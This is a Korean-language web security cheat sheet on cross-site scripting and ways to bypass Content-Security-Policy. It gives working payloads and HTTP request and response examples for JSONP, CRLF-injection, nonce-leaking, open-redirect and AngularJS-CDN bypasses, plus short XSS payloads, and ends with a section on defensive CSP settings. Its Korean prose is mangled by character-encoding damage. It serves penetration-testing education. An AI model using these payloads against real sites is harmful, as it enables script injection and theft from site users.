CSP ์ ์ฑ ์์ ์ ๋ขฐํ๋ ๋๋ฉ์ธ์ ํ์ผ์ ์ ๋ก๋ํ ์ ์๋ ๊ฒฝ์ฐ ์ด๋ฅผ ํตํด CSP๋ฅผ ์ฐํํ์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์ต๋๋ค.
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src โselfโ abcd.hahwul.com
์์ ๊ฐ์ CSP ์ ์ฑ ์์ ๋ง์ฝ abcd.hahwul.com์ ํ์ผ์ ์ ๋ก๋ํ ์ ์๋ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด ์ฐํํ ์ ์์ต๋๋ค.
xss.txt
alert(document.location)
XSS Query
GET http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>
Response
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src โselfโ abcd.hahwul.com
<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>
์ ๋ขฐ ๋๋ฉ์ธ์ JSONP ํ์ฉ
JSONP๋ CORS๋ฅผ ์ฐํํ์ฌ ํฌ๋ก์ค ๋๋ฉ์ธ์์ JSON ํ์ฉํ ์ ์๋๋ก ์ ์ํ๋ ๋ฐฉ๋ฒ์ด๋ฉฐ ์ด๋ jsonp,callback ๋ฑ์ ํ๋ผ๋ฏธํฐ๋ก response ๊ฐ ๋ฐํ๋ ํจ์๋ฅผ ๋ช ์ํ ์ ์๋๋ก ์ง์ํฉ๋๋ค. ๋ง์ฝ ์ ๋ขฐ๋๋ฉ์ธ์์ ์ด๋ฌํ ๊ธฐ๋ฅ์ด ์๋ค๋ฉด CSP์ ๋๋ฉ์ธ ์ ์ฑ ์ ์ฐํํ ์ ์์ต๋๋ค.
<script src=โhttp://abcd.hahwul.com/test/jsonp?callback=alert(45);//โ></script>
์๋ฆฌ๋ฅผ ๋ณด์๋ฉด jsonp ํ์ด์ง๋ callback(){"return":"data"}
๊ฐ์ ํฌ๋งท์ผ๋ก response๋ฅผ ๋๊ฒจ์ฃผ๋๋ฐ, callback function์ alert(45);// ๋ก ์ง์ ํด์ฃผ๋ฉด ๊ฒฐ๊ตญ response ์๋ ์ด๋ฐ ๊ฐ์ด ๋ด๊น๋๋ค.
alert(45);//{"user":"hahwul","id":3422}
Header Injection & CRLF Injection
Header Injection, CRLF Injection ๋ฑ์ด ๊ฐ๋ฅํ๋ฉด CSP์ ๋ฎ๊ฑฐ๋ ์๋ก ์ ์ํ ์ ์์ต๋๋ค. CSP ๋ด๋ถ์ ๊ฐ์ ์ฝ์ ํ ์ ์๋ ๊ฒฝ์ฐ์๋ CSP ๊ตฌ๋ฌธ ์์ฒด๋ฅผ ๋ณ์กฐํ์ฌ ๋น์ ์์ ์ผ๋ก ๋์ํ๋๋ก ์ ๋ํ ์ ์์ต๋๋ค.
์๋ฅผ๋ค์ด ์ฌ์ฉ์์ ์ ๋ ฅ๊ฐ์ด Set-Cookie์ ๋ฐ์๋๊ณ ์ด ์์น๊ฐ CSP๋ณด๋ค ์์ ์๋ค๋ฉด ์๋์ ๊ฐ์ด ์ฐํํ ์ ์์ต๋๋ค.
GET http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>&cookie=1234%0d%0a%0d%0aaaaa
์์ ๊ฐ์ด ์์ฒญํ๋ฉด Set-Cookie์ ๊ฐํ์ผ๋ก ์ธํด ์๋ CSP ๊ตฌ๋ฌธ์ด Body ๋ถ๋ถ์ด ๋ฉ๋๋ค. ๊ฒฐ๊ตญ ์ ์ฑ ์ด ์๋ ํ ์คํธ๋ก ์ํฅ๋ ฅ์ด ์ฌ๋ผ์ง๋๋ค.
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie:
aaaaaa
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src โselfโ abcd.hahwul.com
<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>
Server Error๋ฅผ ์ด์ฉํ ์ฐํ
์๋ฌ ํ์ด์ง(400, 414 ๋ฑ) ๋ฐ์ ์ CSP๋ ๋์ํ์ง ์์ต๋๋ค. ์ด๋ฅผ ์ด์ฉํ์ฌ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ํ์ด์ง๋ฅผ ์์๋ก ์๋ฒ ๋ฉํ์ฌ CSP๋ฅผ ๋ฌด๋ ฅํ ํ ์ ์์ต๋๋ค. ์์ฃผ ์ฌ์ฉ๋๋ ์๋ฌ๋ ์๋์ ๊ฐ์ต๋๋ค.
- 400 Bad Request: ์๋ชป๋ Path ๋ฑ์ผ๋ก WAS๋จ ์๋ฌ ์ ๋
- 414 Request-URI Too Large: URL Qeury ๊ฐ์ ์๋ฒ๊ฐ ์ง์ํ๋ ๊ฐ ์ด์์ผ๋ก ์ ๋ฌํ์ฌ ์๋ฌ ์ ๋
- Cookie Bomb: ํฐ ์ฟ ํค ๊ฐ์ผ๋ก ์๋ฌ๋ฅผ ์ ๋, 400์ด๋ 414 ๋ฐ์ (Cookie Bomb Attack ์ฐธ๊ณ )
Static file์ ์ด์ฉํ ์ฐํ
์ ์๋ฌ์ ์ ์ฌํ๊ฒ favicon, robots.txt ๋ฑ์ CSP์ ์ํฅ์ ๋ฐ์ง ์์ต๋๋ค. ์์ ๋์ผํ๊ฒ ์๋ฒ ๋ฉํ์ฌ ์ฐํํ ์ ์์ต๋๋ค.
Break nonce1 - CSS Injection
CSS๋ ์ ๊ทํํ์์ผ๋ก elements์ attribute์ ์ ๊ทผํ ์ ์์ต๋๋ค. ์ด ์ ์ ํ์ฉํ์ฌ ๋ค๋ฅธ script ๋ฑ์ nonce ๊ฐ์ ํ๊ธ์์ฉ searchํด์ ๊ฐ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
Break nonce2 - Cache poisoning
๋ณดํต ์น ์ดํ๋ฆฌ์ผ์ด์ ์ ์๋จ์ Nginx, Apache ๋ฑ WAS๋ฅผ ๋๊ณ ๋์ํฉ๋๋ค. ์ด ๋ WAS์๋ ์ปจํ ์ธ ์ ๋ฐ๋ผ ํค๋๋ ์ฒ๋ฆฌ๋ฅผ ๋ค๋ฅด๊ฒ ํ๊ธฐ ์ํด URI ๊ธฐ๋ฐ์ผ๋ก ์ ์ฑ ์ด ๋ค์ด๊ฐ๋๋ค. ๊ทธ๋ฆฌ๊ณ ๋๋ถ๋ถ์ ๋ฆฌ์์ค๋ ๋งค๋ฒ ํธ์ถํ๋ฉด ๋น ํจ์จ์ ์ด๊ธฐ ๋๋ฌธ์ ์๋ฒ๋จ ์บ์๋ ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค.
๊ทธ๋์ XSS์ CSP๊ฐ ๊ณต์กดํ๋ ํ์ด์ง์ ๊ฒฝ๋ก๋ฅผ ์์ฌ ์๋ฒ๊ฐ ์บ์ํ๋๋ก ์ ๋ํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ์๋ฒ๊ฐ ์บ์ํ๊ฒ ๋๋ฉด Response๊ฐ ๊ณ ์ ๋๊ธฐ ๋๋ฌธ์ ๋น์ฐํ nonce ๊ฐ ๋ํ ๊ณ ์ ๋ ์ํ๊ฐ ๋ฉ๋๋ค.
GET http://vaha.hahwul.com/test/csp.php/1.png?q=XSSCode&
์๋ฒ๊ฐ ์ด ์์ฒญ์ ์บ์ํ๋ค๋ฉด, nonce๋ ์๋์ ๊ฐ์ด ๊ณ ์ ๋ฉ๋๋ค.
Req1
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c
Req2
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c
Req3
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c
๊ทธ๋ฌ๋ฉด ๊ณต๊ฒฉ์๋ ์๋์ ๊ฐ์ ๊ณต๊ฒฉ์ฝ๋๋ก ํธ๋ฆฌ๊ฑฐํ ์ ์์ต๋๋ค.
<sciprt nonce="ca987dc7a654dc65a4d5675c">alert(document.domain)</script>
Using Open Redirect
Content-Security-Policy: script-src 'self' accounts.google.com/random/ website-with-redirect.com; object-src 'none';
">'><script src="https://website-with-redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
Using URL Encode
Content-Security-Policy: script-src www.hahwul.com/cullinan/
<script src="https://www.hahwul.com/cullinan%2f..%2fpublic/uplooad/xss"></script>
Using 3rd-party CDN
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none';
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(45)>
Bypass Env
Short XSS
18 chars
<script/src=//ว.โจ>
19 chars
<x onclick=alert()>
23 chars
<svg/onload=eval(name)>
25 chars
<style/onload=eval(name)>
Combined XSS
GET /target?name=<script>alert(1)/*&age=*/</script>
name: <script>alert(1)/*
test: 1234
ggg: bbbb
age: */</script>
More patterns
- https://github.com/terjanq/Tiny-XSS-Payloads
- https://gist.github.com/btoews/2399929
- https://tinyxss.terjanq.me
Upgrade Trick
From Self-XSS
https://www.hahwul.com/2019/11/02/upgrade-self-xss-to-exploitable-xss/
- Self XSS + CSRF (aka, XSRF)
- Self XSS + Login CSRF
- XSS Jacking (with ClickJacking)
From XSS Weakness
https://www.hahwul.com/2022/03/19/xss-weakness-to-xss/
- Hidden param mining
- Deceive WAS and G/W
- Include from other
- Disturb downloadable func
๐ก Defensive techniques
Response ๋ด ์ฌ์ฉ์์ ์
๋ ฅ ๋ฐ์ดํฐ๊ฐ ๋ฐ์๋๋ ๋ชจ๋ ๊ตฌ๊ฐ์ HTML/JS ๋ฑ์ ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ํน์๋ฌธ์์ ๋ํ ํํฐ๋ง์ด ํ์ํฉ๋๋ค. ๋ณดํต <
>
"
'
4๊ฐ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์นํ ์ฒ๋ฆฌํ๋ ๊ฒ์ด ์ข์ผ๋ฉฐ, ์๋น์ค ๊ธฐ๋ฅ์ ๋ฐ๋ผ์ ๊ณต๊ฒฉ์ ์ฌ์ฉ๋๋ ๋ฌธ์์ด์ด๋ ์ด๋ฒคํธ ํธ๋ค๋ฌ ๋ฑ์ ํํฐ๋งํ์ฌ ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ์ ํ ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
CSP
์ถ๊ฐ๋ก CSP(Content-Security-Policy)๋ฅผ ์ ์ฉํ์ฌ ๊ณต๊ฒฉ์ผ๋ก ์ธํ ์คํฌ๋ฆฝํธ ์ฝ์ ์๋ ๋์ํ์ง ๋ชปํ๋๋ก ์ ํํ ์ ์์ต๋๋ค. ํค๋์์ ์ฌ์ฉ๋๋ ์์ฑ๊ณผ ๊ฐ์ ์๋์ ๊ฐ์ต๋๋ค.
- default-src : ๋ชจ๋ ๋ฆฌ์์ค์ ๋ํ ์ ์ฑ (์๋ ๊ฒ๋ค ๋ค ํฌํจ)
- script-src : Javascript ๋ฑ ์น์์ ์คํ ๊ฐ๋ฅํ ์คํฌ๋ฆฝํธ์ ๋ํ ์ ์ฑ
- object-src : ํ๋ฌ๊ทธ์ธ, ์ค๋ธ์ ํธ์ ๋ํ ์ ์ฑ
- style-src : style, ์ฆ css์ ๋ํ ์ ์ฑ
- img-src : ์ด๋ฏธ์ง
- media-src : video, audio
- frame-src : iframe, X-Frame ํค๋๋์ ๋น์ทํ ์ญํ ์ ํ์ง๋ง, ์ฝ๊ฐ ๋ค๋ฅด์ฃ .
- font-src : font
- connect-src : script src๋ก ๋ถ๋ฌ์ฌ ์ ์๋ url์ ๋ํ ์ ์ฑ
- form-action : form ํ๊ทธ ๋ด action ๋ถ๋ถ์ ๋ํ ์ ์ฑ
- sandbox : HTML ์๋๋ฐ์ค
- script-nonce : ์์ script-src + ์๋์ชฝ์ none ์ด ํฌํจ๋๋ ์ ์ฑ , ์ฝ๊ฐ ๊ฐํ..
- plugin-types : ๋ก๋ํ ์ ์๋ ํ๋ฌ๊ทธ์ธ ํ์ , ์์ object-src์ ์ ์
- reflected-xss : X-XSS-Protection header์ ๋์ผํ ํจ๊ณผ, ์ค์ ๋ก ์ด๊ฒ ์ ์ฉ๋ ์ฌ์ดํธ๋ ์์ง ๋ณธ์ ์ด ์๋ค์..ใ ใ
- report-uri : ์ ์ฑ ์๋ฐ ์ผ์ด์ค๊ฐ ๋ํ๋ฌ์ ๋ ๋ด์ฉ์ ์ ๋ฌํ URL
์์ฑ์ ๋งคํ๋๋ ๊ฐ์ 4๊ฐ์ง ์ ๋ ์์ต๋๋ค.
- โnoneโ์ ์์ํ ์ ์๋ฏ์ด ์๋ฌด๊ฒ๊ณผ๋ ์ผ์นํ์ง ์์ต๋๋ค.
- โselfโ ๋ ํ์ฌ ์ถ์ฒ์ ์ผ์นํ์ง๋ง ํ์ ๋๋ฉ์ธ์ ์ผ์นํ์ง ์์ต๋๋ค.
- โunsafe-inlineโ์ ์ธ๋ผ์ธ ์๋ฐ์คํฌ๋ฆฝํธ ๋ฐ CSS๋ฅผ ํ์ฉํฉ๋๋ค.
- โunsafe-evalโ์ eval ๊ฐ์ ํ ์คํธ-์๋ฐ์คํฌ๋ฆฝํธ ๋ฉ์ปค๋์ฆ์ ํ์ฉํฉ๋๋ค.
์ ์ฉ ์์
ํ์ ๋๋ฉ์ธ์ ๋ฆฌ์์ค๋ง๋ง ์ฌ์ฉํ ์ ์๊ฒ
Content-Security-Policy: default-src 'self'
ํน์ ๋๋ฉ์ธ๋ง ์ ๋ขฐ
Content-Security-Policy: default-src 'self' *.mydomain.com
ํน์ ํ๊ทธ ๊ณ์ด๋ง ํ์ฉ
Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *
ํน์ ๋๋ฉ์ธ๋ง ๋ฌด์กฐ๊ฑด SSL ํต์ ํ๋๋ก
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
๐น Tools
๐ Articles
- https://www.hahwul.com/search/?keyword=XSS
- (XSS๋ ์์ฑํ ๊ธ์ด ๋ง์์ ๊ฒ์ ๋งํฌ๋ก ๋ฃ์์ด์. ๋์คํค ํ๋ํ๋ ์ถ๊ฐํด๋๊ฒ์ ๐ญ)